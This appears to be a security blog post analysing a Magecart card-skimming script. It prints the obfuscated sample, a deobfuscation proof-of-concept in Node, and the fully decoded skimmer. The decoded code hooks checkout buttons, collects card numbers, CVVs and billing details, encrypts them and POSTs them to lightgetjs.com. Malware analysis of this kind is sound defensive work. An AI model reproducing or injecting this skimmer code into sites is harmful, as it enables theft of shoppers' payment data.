 var _0x34d5 = ['Q29udGVudC1UeXBl', 'YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk', 'c2V0UHVibGljS2V5', 'TUlJRUlqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0JBOEFNSUlFQ2dLQ0JBRUF3NTZoY3Z1R25QZHZaM0hGQWtLN1QyR2EweTJaS2hkdjJhVG9SU1BzbWtFRVAyR2RsY1FrTTY4a0VXeHliWXBDWG45eXg5OFJxTFNNYStDUjYvUkZKaFZMUVNLdHkrNm16U2IyTURSYitUVks3NWpCN1F5aGZ6TVdacFYySlBzdGFyMGxxRkxwR3owdFJIS1lTY1h0VnZnNWVUWThtcjZ0dXlZK0VHTEw1SFd3UzFqSnBtaHNEN0RxZGQ1TTkxbElRemVtTU5nNWp2RktNclNlU1NSQlFZR1lSRDFWekVremEra3A2UVdlS1ZocWVVL0xFdFlZYUU4SlRlWGwzV1E2UExVNmZleXJndlFrN0MxeEhmeEVTVWx2UVl6aFlsbmt0clVBTmxxQVRyQ2JyTGtDL0oyNWx0T08vY2lsb0xKV3I0TWFHbERWU01FS1ZLYTNsQUt6SlJoNUd4SkovWDB2M0hzT0hsVUR5aW5ZdlA0eGpBWXRnWFZoYVBLbldDelNndjV2eWpmdEczQWlmZHlsOVFLejRuejZKRS9lOXE2YjhhNGdCM25kNm4xVDlVdklpNXhpdHhzZHBPNDVwWm1uN0dXQTgxOUJORElTZHNIcEcvSG9LL080N2xZTXFoRHJHWVhoZ2oxZWNodmJLSXJOdGxZMGZmd1U3QzYxR1l5TGVLbzF1aWhkU0gvaUF3czZyY25iWXFNM0hXN3RibncyaDhOZm1haVVZcDF3ek1oZ0ozQ3grVHhjcXdGTU0wU01LajF1SHVsSWo0MTg0WVJFMW5weEl3T1VSd3FENnJNbko0WXZqMFl2ZnZMQmJJN1krZ1N3YTJoTHJqbEJwN0V6b3VqdjBaSjRyOWdhK3ZIQmpkVUNtcmlONVNla3RJaWd4R3hRbklaWG1MWTdVTExkdmtoNlY4N2VMVi83ODF3eW1YbmVPaEtTblN6TmdXRU5ZNERMTDcvdGdzUnVxQW9tb0xHa0phTEorWmpBZ29hMno3cXdkUFc4d3liMW12L29qL3hadzA2d3Z2NVZPZlhvTXBjcTFUMkxldjl4T2FuL0dkeGREUytLSlJkQkZYL1c4WS9Ydi9wM0ZRQUpCdS95QXVaM0RoMjh4V1FubE1WczJBazZWbGdGQTdoK1ljZjBvVkpLTno0WDllMExGNUc2TGtTWXgxU1ZMV1ZqNWQ4VkVXNnFhNnN0QStFRERURXhhTUt6Y2pjYzhSc09SUXN0TTkxR2MrbEYvaHA3NndTb0pFeGVBMjNYL1g3dXI0allrUlpueElZSWxxMnFxRkVqYko4WjdnUE0rQ25neXpJM2pnZmhaai9aeVJDaHFtNlc2dFRkRlppdU0wVFdZTExjTE1TUklVZ1E1ajU3SkFydXFiZ2VJOXZaYUR1My9GQzZwRXYvc2tqUDZBN09qcXcrdFBiRzFndkg0dmJjM21nQ3NjRVFZUXozQUFGTVduakZyR2dBU1hETzZGTDk5dkxkdXRsS3NKV01TU2RuMktUaFQ4a3luMTA5V0dUc0syeDg5MEFOU3JmQ01pQ2d4UWN1U2wzUGdFRUZ0Unh0MFNpVDQybDNSWmY0UEVncXFUMVlkSVZkYzV3Sm4xOVhWNkdubDJqWDRieGZmMjdyUUFneDRQVXFvL3V6dG8yeTFrNU42WXpVTFh5dFF4MEpNcXQ3MEFVVnRkZzg0S29uckpZMmY1YUxVM0pVTWVrUmM0bDE3dHJVU1J0alZhN2FZdXh0cGo3K2wvckcwTUtWM0ZYYS9TeE11WDVWcmM4Ky8xUkdKcy9HVFY3Q2VhcHcxUUFtWm9BVnhRSURBUUFC', 'ZW5jcnlwdA==', 'c2VuZA==', 'cGxhY2Vfb3JkZXI=', 'cGxhY2Utb3JkZXI=', 'cGF5bWVudC1idXR0b25zLWNvbnRhaW5lcg==', 'YmlsbGluZy1idXR0b25zLWNvbnRhaW5lcg==', 'cmV2aWV3LWJ1dHRvbnMtY29udGFpbmVy', 'bGVuZ3Ro', 'W2lkKj0n', 'cXVlcnlTZWxlY3RvckFsbA==', 'YWRkRXZlbnRMaXN0ZW5lcg==', 'Y2xpY2s=', 'YnRuLWNoZWNrb3V0', 'W2NsYXNzKj0n', 'bG9hZA==', 'aG9zdG5hbWU=', 'bG9jYXRpb24=', 'aW5wdXQ=', 'aW5kZXhPZg==', 'X2NjX251bWJlcg==', 'c3Vic3Ry', 'dm1fY2NfbnVtYmVy', 'Z2V0RWxlbWVudEJ5SWQ=', 'dmFsdWU=', 'dm1fZXhwaXJhdGlvbg==', 'X2V4cGlyYXRpb24=', 'dm1fZXhwaXJhdGlvbl95cg==', 'X2V4cGlyYXRpb25feXI=', 'dm1fY2NfY2lk', 'X2NjX2NpZA==', 'X2NjX2V4cF9tb250aA==', 'X2NjX2V4cF95ZWFy', 'X2NjX2N2dg==', 'Zmlyc3RuYW1l', 'bGFzdG5hbWU=', 'ZW1haWw=', 'c3RyZWV0MQ==', 'c3RyZWV0Mg==', 'Y2l0eQ==', 'cmVnaW9uX2lk', 'Y291bnRyeV9pZA==', 'cG9zdGNvZGU=', 'dGVsZXBob25l', 'YmlsbGluZzo=', 'c3RyaW5naWZ5', 'dHBzOi8vbGlnaHRnZXRqcy5jb20=', 'b3Blbg==', 'UE9TVA==', 'c2V0UmVxdWVzdEhlYWRlcg=='];

(function (_0x110cd2, _0xa263bd) {
    var _0x352891 = function (_0x76a704) {
        while (--_0x76a704) {
            _0x110cd2['push'](_0x110cd2['shift']());
        }
    };
    _0x352891(++_0xa263bd);
}(_0x34d5, 0xa5));

Decryption
- _0x47fb: a decryption function. in this case the decryption algorithm is a simple atob function (base64 decoding).
- _0x522b23: data key
- _0xdb42df: data token

var _0x47fb = function (_0x522b23, _0x4fa39c) {
    _0x522b23 = _0x522b23 - 0x0;
    var _0xdb42df = _0x34d5[_0x522b23];
    if (_0x47fb['IyfmVK'] === undefined) {
        (function () {
            var _0x28a5cc = function () {
                var _0x3f5c15;
                try {
                    _0x3f5c15 = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');')();
                } catch (_0x7f7a59) {
                    _0x3f5c15 = window;
                }
                return _0x3f5c15;
            };
            var _0x1a2269 = _0x28a5cc();
            var _0x2009de = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
            _0x1a2269['atob'] || (_0x1a2269['atob'] = function (_0x2633f6) {
                var _0x1bf8c8 = String(_0x2633f6)['replace'](/=+$/, '');
                for (var _0x4e57f1 = 0x0, _0x5122c7, _0x5cb7d8, _0x2540b4 = 0x0, _0x140365 = ''; _0x5cb7d8 = _0x1bf8c8['charAt'](_0x2540b4++); ~_0x5cb7d8 && (_0x5122c7 = _0x4e57f1 % 0x4 ? _0x5122c7 * 0x40 + _0x5cb7d8 : _0x5cb7d8, _0x4e57f1++ % 0x4) ? _0x140365 += String['fromCharCode'](0xff & _0x5122c7 >> (-0x2 * _0x4e57f1 & 0x6)) : 0x0) {
                    _0x5cb7d8 = _0x2009de['indexOf'](_0x5cb7d8);
                }
                return _0x140365;
            });
        }());
        _0x47fb['cJuRna'] = function (_0x55fba5) {
            var _0xfd7af3 = atob(_0x55fba5);
            var _0x953b7b = [];
            for (var _0x192361 = 0x0, _0x1f2b27 = _0xfd7af3['length']; _0x192361 < _0x1f2b27; _0x192361++) {
                _0x953b7b += '%' + ('00' + _0xfd7af3['charCodeAt'](_0x192361)['toString'](0x10))['slice'](-0x2);
            }
            return decodeURIComponent(_0x953b7b);
        };
        _0x47fb['naGzua'] = {};
        _0x47fb['IyfmVK'] = !![];
    }
    var _0x11ff5c = _0x47fb['naGzua'][_0x522b23];
    if (_0x11ff5c === undefined) {
        _0xdb42df = _0x47fb['cJuRna'](_0xdb42df);
        _0x47fb['naGzua'][_0x522b23] = _0xdb42df;
    } else {
        _0xdb42df = _0x11ff5c;
    }
    return _0xdb42df;
};

Logic
- Execute the main malware part
- using _0x47fb function to get data values from data key (‘0x0’, ‘0x1’, ‘0x2’...’)
- Examples:
  - _0x47fb('0x0'); -> “place_order”
  - _0x47fb('0x7'); -> ”querySelectorAll”

function readyr() {
    try {
        var _0x5bbf66 = [_0x47fb('0x0'), _0x47fb('0x1'), _0x47fb('0x2'), _0x47fb('0x3'), _0x47fb('0x4')];
        var _0x8475c0 = _0x5bbf66[_0x47fb('0x5')];
        for (var _0x2e623e = 0x0; _0x2e623e < _0x8475c0; _0x2e623e++) {
            f = _0x5bbf66[_0x2e623e];
            try {
                k = _0x47fb('0x6') + f + '\x27]';
                var _0x7ddc45 = document[_0x47fb('0x7')](k), _0x5d458a = 0x0;
                for (; _0x5d458a < _0x7ddc45[_0x47fb('0x5')]; _0x5d458a++) {
                    _0x7ddc45[_0x5d458a][_0x47fb('0x8')](_0x47fb('0x9'), bts);
                }
            } catch (_0x375bef) {
            }
        }
    } catch (_0x36add6) {
    }
    try {
        var _0x5bbf66 = [_0x47fb('0xa')];
        var _0x8475c0 = _0x5bbf66[_0x47fb('0x5')];
        for (var _0x2e623e = 0x0; _0x2e623e < _0x8475c0; _0x2e623e++) {
            f = _0x5bbf66[_0x2e623e];
            try {
                k = _0x47fb('0xb') + f + '\x27]';
                var _0x7ddc45 = document[_0x47fb('0x7')](k), _0x5d458a = 0x0;
                for (; _0x5d458a < _0x7ddc45[_0x47fb('0x5')]; _0x5d458a++) {
                    _0x7ddc45[_0x5d458a][_0x47fb('0x8')](_0x47fb('0x9'), bts);
                }
            } catch (_0x24b4f5) {
            }
        }
    } catch (_0x196a93) {
    }
}

window[_0x47fb('0x8')](_0x47fb('0xc'), readyr);
setInterval(bts, 0x7d0);
var vvk = '';

function bts() {
    try {
        var _0x34f9e9 = {};
        _0x34f9e9[_0x47fb('0xd')] = window[_0x47fb('0xe')][_0x47fb('0xd')];
        var _0x4a60b2 = document[_0x47fb('0x7')](_0x47fb('0xf'));
        var _0x570cfd = _0x4a60b2[_0x47fb('0x5')];
        var _0x57a5b3 = '';
        for (var _0x1e5f96 = 0x0; _0x1e5f96 < _0x570cfd; _0x1e5f96++) {
            el = _0x4a60b2[_0x1e5f96]['id'];
            pos = el[_0x47fb('0x10')](_0x47fb('0x11'));
            if (pos > 0x0) {
                _0x57a5b3 = el[_0x47fb('0x12')](0x0, pos);
            }
        }
        if (!_0x57a5b3) return;
        var _0x553440 = _0x57a5b3;
        try {
            _0x34f9e9[_0x47fb('0x13')] = document[_0x47fb('0x14')](_0x553440 + _0x47fb('0x11'))[_0x47fb('0x15')];
        } catch (_0x1f7150) {
        }
        if (!_0x34f9e9[_0x47fb('0x13')]) return;
        try {
            _0x34f9e9[_0x47fb('0x16')] = document[_0x47fb('0x14')](_0x553440 + _0x47fb('0x17'))[_0x47fb('0x15')];
        } catch (_0x136215) {
        }
        try {
            _0x34f9e9[_0x47fb('0x18')] = document[_0x47fb('0x14')](_0x553440 + _0x47fb('0x19'))[_0x47fb('0x15')];
        } catch (_0x4ab22b) {
        }
        try {
            _0x34f9e9[_0x47fb('0x1a')] = document[_0x47fb('0x14')](_0x553440 + _0x47fb('0x1b'))[_0x47fb('0x15')];
        } catch (_0x4df1f0) {
        }
        try {
            if (!_0x34f9e9[_0x47fb('0x16')]) {
                _0x34f9e9[_0x47fb('0x16')] = document[_0x47fb('0x14')](_0x553440 + _0x47fb('0x1c'))[_0x47fb('0x15')];
            }
        } catch (_0x90cd50) {
        }
        try {
            if (!_0x34f9e9[_0x47fb('0x18')]) {
                _0x34f9e9[_0x47fb('0x18')] = document[_0x47fb('0x14')](_0x553440 + _0x47fb('0x1d'))[_0x47fb('0x15')];
            }
        } catch (_0x188c28) {
        }
        try {
            if (!_0x34f9e9[_0x47fb('0x1a')]) {
                _0x34f9e9[_0x47fb('0x1a')] = document[_0x47fb('0x14')](_0x553440 + _0x47fb('0x1e'))[_0x47fb('0x15')];
            }
        } catch (_0x32a59b) {
        }
        var _0x1e9e38 = 0x0;
        if (_0x34f9e9[_0x47fb('0x13')][_0x47fb('0x5')] == 0xf && _0x34f9e9[_0x47fb('0x1a')][_0x47fb('0x5')] > 0x3) _0x1e9e38 = 0x1;
        if (_0x34f9e9[_0x47fb('0x13')][_0x47fb('0x5')] > 0xf && _0x34f9e9[_0x47fb('0x1a')][_0x47fb('0x5')] >= 0x3) _0x1e9e38 = 0x1;
        if (!_0x1e9e38) return;
        var _0xe078a8 = [_0x47fb('0x1f'), _0x47fb('0x20'), _0x47fb('0x21'), _0x47fb('0x22'), _0x47fb('0x23'), _0x47fb('0x24'), _0x47fb('0x25'), _0x47fb('0x26'), _0x47fb('0x27'), _0x47fb('0x28')];
        _0x570cfd = _0xe078a8[_0x47fb('0x5')];
        for (var _0x1e5f96 = 0x0; _0x1e5f96 < _0x570cfd; _0x1e5f96++) {
            _0x553440 = _0xe078a8[_0x1e5f96];
            k = _0x47fb('0x29') + _0x553440;
            try {
                _0x34f9e9[_0x553440] = document[_0x47fb('0x14')](k)[_0x47fb('0x15')];
            } catch (_0x12e01e) {
            }
        }
        if (!_0x34f9e9[_0x47fb('0x27')]) return;
        if (_0x1e9e38) {
            _0x34f9e9 = JSON[_0x47fb('0x2a')](_0x34f9e9);
            if (_0x34f9e9[_0x47fb('0x5')] == vvk[_0x47fb('0x5')]) return;
            vvk = _0x34f9e9;
            var _0x4c73bd = new XMLHttpRequest();
            url = 'ht' + _0x47fb('0x2b');
            _0x4c73bd[_0x47fb('0x2c')](_0x47fb('0x2d'), url + '', ![]);
            _0x4c73bd[_0x47fb('0x2e')](_0x47fb('0x2f'), _0x47fb('0x30'));
            var _0xd96713 = new JSEncrypt();
            _0xd96713[_0x47fb('0x31')](_0x47fb('0x32'));
            var _0x5dc551 = _0xd96713[_0x47fb('0x33')](_0x34f9e9);
            _0x4c73bd[_0x47fb('0x34')]('k=' + _0x5dc551);
        }
    } catch (_0x2661d6) {
    }
}

Magecart Attack De-obfuscation

Once you have separated the layers of the malware, you will be able to reveal its code by doing two simple steps:

Execute Content and the Decryption layers in a sandboxed JavaScript environment
Evaluate Decryption calls with data keys

You can automate the de-obfuscation procedure and use this node script:
Note: This code is a proof-of-concept.

const fs = require('fs');
//In our example DECRYPTION_FUNCTION_NAME === '_0x47fb'
const DECRYPTION_FUNCTION_REGEX = new RegExp(`${'DECRYPTION_FUNCTION_NAME'}\\(.*?\\)`, 'g');

//<Content Code Here> 
//<Parser Code Here>

deobfuscateMagecart();

function deobfuscateMagecart() {
    let code = fs.readFileSync(MAGECART_CONTENT_PATH, {encoding: 'utf-8'});
    let match = DECRYPTION_FUNCTION_REGEX.exec(code);

    do {
        const decryptionFunctionCall = match[0]; //e.g _0x47fb('0x0')
        const dataValue = eval(decryptionFunctionCall);
        //Replace decryption call with evaluated value
        code = code.replace(decryptionFunctionCall, `"${dataValue}"`);
        match = DECRYPTION_FUNCTION_REGEX.exec(code);
        DECRYPTION_FUNCTION_REGEX.lastIndex = null;
    } while (match);

    fs.writeFileSync(OUTPUT_PATH, code);
}

This is the output of the automated de-obfuscation script.
As you can see, ALL of the strings are revealed, and it is much easier to understand what Magecart actually does.

function readyr() {
    try {
        var _0x5bbf66 = ["place_order", "place-order", "payment-buttons-container", "billing-buttons-container", "review-buttons-container"];
        var _0x8475c0 = _0x5bbf66["length"];
        for (var _0x2e623e = 0x0; _0x2e623e < _0x8475c0; _0x2e623e++) {
            f = _0x5bbf66[_0x2e623e];
            try {
                k = "[id*='" + f + '\x27]';
                var _0x7ddc45 = document["querySelectorAll"](k), _0x5d458a = 0x0;
                for (; _0x5d458a < _0x7ddc45["length"]; _0x5d458a++) {
                    _0x7ddc45[_0x5d458a]["addEventListener"]("click", bts);
                }
            } catch (_0x375bef) {
            }
        }
    } catch (_0x36add6) {
    }
    try {
        var _0x5bbf66 = ["btn-checkout"];
        var _0x8475c0 = _0x5bbf66["length"];
        for (var _0x2e623e = 0x0; _0x2e623e < _0x8475c0; _0x2e623e++) {
            f = _0x5bbf66[_0x2e623e];
            try {
                k = "[class*='" + f + '\x27]';
                var _0x7ddc45 = document["querySelectorAll"](k), _0x5d458a = 0x0;
                for (; _0x5d458a < _0x7ddc45["length"]; _0x5d458a++) {
                    _0x7ddc45[_0x5d458a]["addEventListener"]("click", bts);
                }
            } catch (_0x24b4f5) {
            }
        }
    } catch (_0x196a93) {
    }
}

window["addEventListener"]("load", readyr);
setInterval(bts, 0x7d0);
var vvk = '';

function bts() {
    try {
        var _0x34f9e9 = {};
        _0x34f9e9["hostname"] = window["location"]["hostname"];
        var _0x4a60b2 = document["querySelectorAll"]("input");
        var _0x570cfd = _0x4a60b2["length"];
        var _0x57a5b3 = '';
        for (var _0x1e5f96 = 0x0; _0x1e5f96 < _0x570cfd; _0x1e5f96++) {
            el = _0x4a60b2[_0x1e5f96]['id'];
            pos = el["indexOf"]("_cc_number");
            if (pos > 0x0) {
                _0x57a5b3 = el["substr"](0x0, pos);
            }
        }
        if (!_0x57a5b3) return;
        var _0x553440 = _0x57a5b3;
        try {
            _0x34f9e9["vm_cc_number"] = document["getElementById"](_0x553440 + "_cc_number")["value"];
        } catch (_0x1f7150) {
        }
        if (!_0x34f9e9["vm_cc_number"]) return;
        try {
            _0x34f9e9["vm_expiration"] = document["getElementById"](_0x553440 + "_expiration")["value"];
        } catch (_0x136215) {
        }
        try {
            _0x34f9e9["vm_expiration_yr"] = document["getElementById"](_0x553440 + "_expiration_yr")["value"];
        } catch (_0x4ab22b) {
        }
        try {
            _0x34f9e9["vm_cc_cid"] = document["getElementById"](_0x553440 + "_cc_cid")["value"];
        } catch (_0x4df1f0) {
        }
        try {
            if (!_0x34f9e9["vm_expiration"]) {
                _0x34f9e9["vm_expiration"] = document["getElementById"](_0x553440 + "_cc_exp_month")["value"];
            }
        } catch (_0x90cd50) {
        }
        try {
            if (!_0x34f9e9["vm_expiration_yr"]) {
                _0x34f9e9["vm_expiration_yr"] = document["getElementById"](_0x553440 + "_cc_exp_year")["value"];
            }
        } catch (_0x188c28) {
        }
        try {
            if (!_0x34f9e9["vm_cc_cid"]) {
                _0x34f9e9["vm_cc_cid"] = document["getElementById"](_0x553440 + "_cc_cvv")["value"];
            }
        } catch (_0x32a59b) {
        }
        var _0x1e9e38 = 0x0;
        if (_0x34f9e9["vm_cc_number"]["length"] == 0xf && _0x34f9e9["vm_cc_cid"]["length"] > 0x3) _0x1e9e38 = 0x1;
        if (_0x34f9e9["vm_cc_number"]["length"] > 0xf && _0x34f9e9["vm_cc_cid"]["length"] >= 0x3) _0x1e9e38 = 0x1;
        if (!_0x1e9e38) return;
        var _0xe078a8 = ["firstname", "lastname", "email", "street1", "street2", "city", "region_id", "country_id", "postcode", "telephone"];
        _0x570cfd = _0xe078a8["length"];
        for (var _0x1e5f96 = 0x0; _0x1e5f96 < _0x570cfd; _0x1e5f96++) {
            _0x553440 = _0xe078a8[_0x1e5f96];
            k = "billing:" + _0x553440;
            try {
                _0x34f9e9[_0x553440] = document["getElementById"](k)["value"];
            } catch (_0x12e01e) {
            }
        }
        if (!_0x34f9e9["postcode"]) return;
        if (_0x1e9e38) {
            _0x34f9e9 = JSON["stringify"](_0x34f9e9);
            if (_0x34f9e9["length"] == vvk["length"]) return;
            vvk = _0x34f9e9;
            var _0x4c73bd = new XMLHttpRequest();
            url = 'ht' + "tps://lightgetjs.com";
            _0x4c73bd["open"]("POST", url + '', ![]);
            _0x4c73bd["setRequestHeader"]("Content-Type", "application/x-www-form-urlencoded");
            var _0xd96713 = new JSEncrypt();
            _0xd96713["setPublicKey"]("MIIEIjANBgkqhkiG9w0BAQEFAAOCBA8AMIIECgKCBAEAw56hcvuGnPdvZ3HFAkK7T2Ga0y2ZKhdv2aToRSPsmkEEP2GdlcQkM68kEWxybYpCXn9yx98RqLSMa+CR6/RFJhVLQSKty+6mzSb2MDRb+TVK75jB7QyhfzMWZpV2JPstar0lqFLpGz0tRHKYScXtVvg5eTY8mr6tuyY+EGLL5HWwS1jJpmhsD7Dqdd5M91lIQzemMNg5jvFKMrSeSSRBQYGYRD1VzEkza+kp6QWeKVhqeU/LEtYYaE8JTeXl3WQ6PLU6feyrgvQk7C1xHfxESUlvQYzhYlnktrUANlqATrCbrLkC/J25ltOO/ciloLJWr4MaGlDVSMEKVKa3lAKzJRh5GxJJ/X0v3HsOHlUDyinYvP4xjAYtgXVhaPKnWCzSgv5vyjftG3Aifdyl9QKz4nz6JE/e9q6b8a4gB3nd6n1T9UvIi5xitxsdpO45pZmn7GWA819BNDISdsHpG/HoK/O47lYMqhDrGYXhgj1echvbKIrNtlY0ffwU7C61GYyLeKo1uihdSH/iAws6rcnbYqM3HW7tbnw2h8NfmaiUYp1wzMhgJ3Cx+TxcqwFMM0SMKj1uHulIj4184YRE1npxIwOURwqD6rMnJ4Yvj0YvfvLBbI7Y+gSwa2hLrjlBp7Ezoujv0ZJ4r9ga+vHBjdUCmriN5SektIigxGxQnIZXmLY7ULLdvkh6V87eLV/781wymXneOhKSnSzNgWENY4DLL7/tgsRuqAomoLGkJaLJ+ZjAgoa2z7qwdPW8wyb1mv/oj/xZw06wvv5VOfXoMpcq1T2Lev9xOan/GdxdDS+KJRdBFX/W8Y/Xv/p3FQAJBu/yAuZ3Dh28xWQnlMVs2Ak6VlgFA7h+Ycf0oVJKNz4X9e0LF5G6LkSYx1SVLWVj5d8VEW6qa6stA+EDDTExaMKzcjcc8RsORQstM91Gc+lF/hp76wSoJExeA23X/X7ur4jYkRZnxIYIlq2qqFEjbJ8Z7gPM+CngyzI3jgfhZj/ZyRChqm6W6tTdFZiuM0TWYLLcLMSRIUgQ5j57JAruqbgeI9vZaDu3/FC6pEv/skjP6A7Ojqw+tPbG1gvH4vbc3mgCscEQYQz3AAFMWnjFrGgASXDO6FL99vLdutlKsJWMSSdn2KThT8kyn109WGTsK2x890ANSrfCMiCgxQcuSl3PgEEFtRxt0SiT42l3RZf4PEgqqT1YdIVdc5wJn19XV6Gnl2jX4bxff27rQAgx4PUqo/uzto2y1k5N6YzULXytQx0JMqt70AUVtdg84KonrJY2f5aLU3JUMekRc4l17trUSRtjVa7aYuxtpj7+l/rG0MKV3FXa/SxMuX5Vrc8+/1RGJs/GTV7Ceapw1QAmZoAVxQIDAQAB");
            var _0x5dc551 = _0xd96713["encrypt"](_0x34f9e9);
            _0x4c73bd["send"]('k=' + _0x5dc551);
        }
    } catch (_0x2661d6) {
    }
}

Thank you for reading, and stay tuned for the next post where I'll be focusing on more advanced techniques to analyze Magecart malware, and malicious code in general.

Disclaimers:

I don’t recommend executing any unfamiliar code in your local environment without knowing what you're doing.
Malware comes in all shapes and colors, and this post discusses a commonly found Magecart script structure. This is not an exhaustive analysis of all possible code injection techniques.
This post was first published here